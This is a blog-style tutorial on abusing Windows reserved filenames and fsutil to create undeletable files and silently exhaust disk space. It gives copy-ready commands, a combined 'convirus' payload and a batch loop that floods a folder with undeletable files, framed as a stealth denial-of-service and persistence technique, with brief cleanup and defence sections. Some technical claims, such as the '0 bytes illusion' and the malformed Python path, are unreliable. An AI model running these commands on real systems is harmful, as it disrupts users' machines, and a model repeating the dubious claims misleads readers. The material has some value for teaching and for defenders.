Windows Reserved Filenames Exploit & Ghost File Abuse

Written by Aryan Giri

🎯 Overview

Windows still carries legacy behavior from MS-DOS where certain filenames like con, nul, aux, prn, com1–com9, and lpt1–lpt9 are treated as device handles instead of normal files.

This creates a strange but powerful edge case:

• Files can be created that cannot be deleted, renamed, or moved normally
• Disk space can be silently consumed using fsutil
• Systems can be disrupted without traditional malware

This is not a classic vulnerability—it's a design artifact turned attack primitive.

🧬 Core Concept (Why This Exists)

These names map directly to hardware or system interfaces:

• con → Console input/output
• nul → Null device (blackhole)
• aux → Serial device
• prn → Printer
• comX → Serial ports
• lptX → Parallel ports

Windows NT still preserves this behavior for backward compatibility.

👉 When you try to interact with these as files, Windows internally redirects operations to devices.

⚔️ Technique 1: Creating Undeletable Files

🔬 Concept

Windows blocks these names at a high level, but not at the Win32 device namespace level.

By using the special prefix \\.\, we bypass standard checks.

💻 Practical Demo

:: Create undeletable file
echo Hello > \\.\D:\con.txt

🧠 What Happens

• File is created successfully
• Explorer sees it, but cannot manage it
• del, rename, GUI delete → fail

👉 The system treats it as a device, not a file

⚔️ Technique 2: Ghost File via fsutil

🔬 Concept

fsutil creates files with a defined size without actually writing data (sparse-like behavior perception).

💻 Practical Demo

:: Create 10GB ghost file
fsutil file createnew D:\ghost.txt 10737418240

🧠 What Happens

• Explorer may show 0 bytes (confusing UI behavior)
• Disk space is actually reserved
• File cannot be opened easily

👉 Perfect for stealth disk exhaustion

☠️ Technique 3: Combining Both (Stealth DoS Primitive)

💻 Payload

:: Undeletable + 10GB allocation
fsutil file createnew \\.\D:\convirus 10737418240

🧠 Impact

• File cannot be deleted normally
• Consumes large disk space
• Appears harmless (0 bytes illusion)

👉 This becomes a low-noise Denial-of-Service vector

🧪 Bulk Exploitation (Automation)

@echo off
for /l %%x in (1,1,100) do (
  echo Hello > \\.\C:\Test\con%%x.txt
)

🧠 Result

• Hundreds of undeletable files
• Folder becomes unusable
• Cleanup becomes difficult

👉 This simulates a denial-of-desktop attack

⚠️ Windows Behavior Analysis

Windows 10

• ❌ GUI delete fails
• ❌ del fails
• ❌ Python os.remove() fails
• ❌ Explorer shows incorrect size

Windows 11

• ✅ Improved handling
• Some cases deletable via GUI

👉 Microsoft partially patched behavior, not the root design

🧹 Deletion Techniques (Bypassing the Trick)

🛠️ Method 1: UNC Device Path

del \\.\C:\Users\YourUser\Desktop\con.txt

🛠️ Method 2: WSL (Most Reliable)

wsl
rm convirus

👉 Linux layer ignores Windows device semantics

🛠️ Method 3: Python WinAPI

import win32file

file_path = r'\\.\\C:\\Users\\YourUser\\Desktop\\con.txt'
win32file.DeleteFile(file_path)

👉 Direct WinAPI bypasses high-level restrictions

🛡️ Defensive Strategies

🔐 Awareness

• Never run unknown .bat, .ps1, .vbs

🧠 Monitoring

• Detect abnormal fsutil usage
• Watch sudden disk consumption

⚙️ Controls

• AppLocker / SRP policies
• Restrict script execution in user directories

🧪 Detection Idea

• Alert on filenames matching reserved patterns

⚔️ Red Team Use Cases

• Simulate malware without payload execution
• Demonstrate filesystem quirks in workshops
• Create confusion-based persistence techniques

👉 This is psychological + technical impact, not just exploitation

🧠 Ethical Reflection

This technique highlights a deeper reality:

Legacy compatibility often becomes a modern attack surface.

Windows keeps these behaviors for stability—but attackers turn them into primitives.

So the real question:

👉 Should operating systems prioritize backward compatibility, or security?

📌 Key Commands Recap

:: Undeletable file
echo Hello > \\.\D:\con.txt

:: 10GB ghost file
fsutil file createnew D:\ghost.txt 10737418240

:: Combined attack
fsutil file createnew \\.\D:\convirus 10737418240

:: Delete via WSL
wsl
rm convirus

🧨 Final Thoughts

This is not "malware" by itself.

But in the hands of an attacker:

• It becomes a stealth DoS tool
• A persistence annoyance
• A user confusion weapon

👉 The danger is not the technique—it's the automation + intent.